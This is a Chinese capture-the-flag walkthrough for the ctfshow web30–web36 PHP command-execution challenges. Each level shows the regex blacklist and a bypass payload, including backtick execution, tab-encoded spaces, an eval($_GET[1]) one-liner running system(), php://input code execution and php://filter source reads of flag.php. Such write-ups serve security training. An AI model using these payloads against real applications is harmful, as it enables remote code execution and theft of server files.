ctfshow-web入门-命令执行(web30-web36)

目录

1、web30

2、web31

3、web32

4、web33

5、web34

6、web35

7、web36


命令执行,需要严格的过滤

1、web30

代码差不多,就是过滤的东西变多了:

复制代码
preg_match("/flag|system|php/i", $c)

这里不让用 system ,我们用上一道题的方法使用反引号执行命令,构造 payload:

复制代码
?c=echo `ls`;

读取 flag:

复制代码
?c=echo `cat f*`;

查看源码:

拿到 flag:ctfshow{de6eb951-84e4-4a10-82ae-bb93787f2f9a}

其他的绕过方法就不再像第一题那样赘述了,我们继续下一题。

2、web31

复制代码
preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)

这里主要新增了对 cat 、点、单引号、空格的过滤:

cat 可以使用 tac 代替或者使用 rev 反向输出;

点和单引号我压根用不到所以不影响;

空格使用 URL编码的 %09 代替。

先列出文件,构造 payload:

复制代码
?c=echo%09`ls`;

执行成功

读取 flag,构造 payload:

复制代码
?c=echo%09`tac%09f*`;

拿到 flag:ctfshow{34ab0674-d667-4bf3-aa63-e7f43b0a6c65}

当然,其实对于空格的处理方式还有很多,我相信后面我们会介绍到的。

我一般习惯自己做了再参考它的 wp,这样可以学到不同的方法和思路:

利用无参数函数 ,payload:

复制代码
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

看一下 chatgpt 的解释:

scandir(pos(localeconv())): 这个函数调用 scandir() 用于扫描目录,pos(localeconv()) 返回当前本地化设置的符号。这段代码的目的是扫描某个目录下的文件和目录。

array_reverse(): 这个函数用于将数组中的元素倒序排列。在这里它被应用在 scandir() 的返回值上,意味着文件和目录列表将会以相反的顺序返回。

next(): 这个函数用于将数组的内部指针向前移动并返回当前元素的值。在这里它似乎是用于获取数组的下一个元素。

show_source(): 这个函数用于输出文件的源代码。这个代码的意图似乎是扫描某个目录下的文件和目录,然后将它们倒序排列,并尝试显示它们中的下一个文件的源代码。

此外,在网上还看到了另一个骚操作,payload:

复制代码
?c=eval($_GET[1]);&1=system('tac flag.php');

类似弄了个一句话木马 ,并且参数 1 后面的内容不受正则匹配的影响。

3、web32

复制代码
preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)

这里把反引号、echo、分号、左括号都过滤了,我们使用 php 伪协议。

首先看一下当前目录下的文件,构造 payload:

php 复制代码
?c=include$_GET["1"]?>&1=php://input 

这里的 ?> 是为了闭合前面的 php 语句,因为分号被过滤了,所以只能使用这个,后面另一参数 1 传入的内容不受正则匹配的影响。

post 写入我们想要执行的 php 代码即可:

php 复制代码
<?php system('ls');?>

读取 flag.php:

php 复制代码
<?php system('tac flag.php');?>

当然,我们也可以直接使用 php://filter 协议进行源码读取:

php 复制代码
?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

base64 解码:

或者换一种编码方式输出就不需要解码了:

bash 复制代码
?c=include$_GET["1"]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{6626ab77-2eee-4862-9292-a395fdcd0f5d}

4、web33

bash 复制代码
preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)

过滤新增了双引号,去掉上一题的 payload 中变量的双引号即可:

bash 复制代码
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

flag:ctfshow{f1725a2e-1816-4401-845e-5690e1f8a209}

5、web34

新增过滤冒号,不过对上一题的 payload 不影响,直接上:

bash 复制代码
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{1dbf17bf-857e-4f2c-be34-b9a99eab8480}

6、web35

新增过滤小于号和等号,我们用到的是大于号,因此依旧用前面文件包含的 payload 来打:

bash 复制代码
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{dd218453-ee10-4d4c-ad85-d7b4a7bb0c7c}

7、web36

新增过滤斜杠和数字 0-9,我们使用字母来传参即可:

bash 复制代码
?c=include$_GET[a]?>&a=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{6d9aeca5-db5e-4740-959a-87abc8ee756b}

相关推荐
ALe要立志成为web糕手20 分钟前
SESSION_UPLOAD_PROGRESS 的利用
python·web安全·网络安全·ctf
careybobo1 小时前
海康摄像头通过Web插件进行预览播放和控制
前端
zhu12893035562 小时前
网络安全的现状与防护措施
网络·安全·web安全
杉之2 小时前
常见前端GET请求以及对应的Spring后端接收接口写法
java·前端·后端·spring·vue
喝拿铁写前端2 小时前
字段聚类,到底有什么用?——从系统混乱到结构认知的第一步
前端
再学一点就睡2 小时前
大文件上传之切片上传以及开发全流程之前端篇
前端·javascript
zhu12893035563 小时前
网络安全与防护策略
网络·安全·web安全
木木黄木木3 小时前
html5炫酷图片悬停效果实现详解
前端·html·html5
zhuyixiangyyds3 小时前
day21和day22学习Pandas库
笔记·学习·pandas
每次的天空3 小时前
Android学习总结之算法篇四(字符串)
android·学习·算法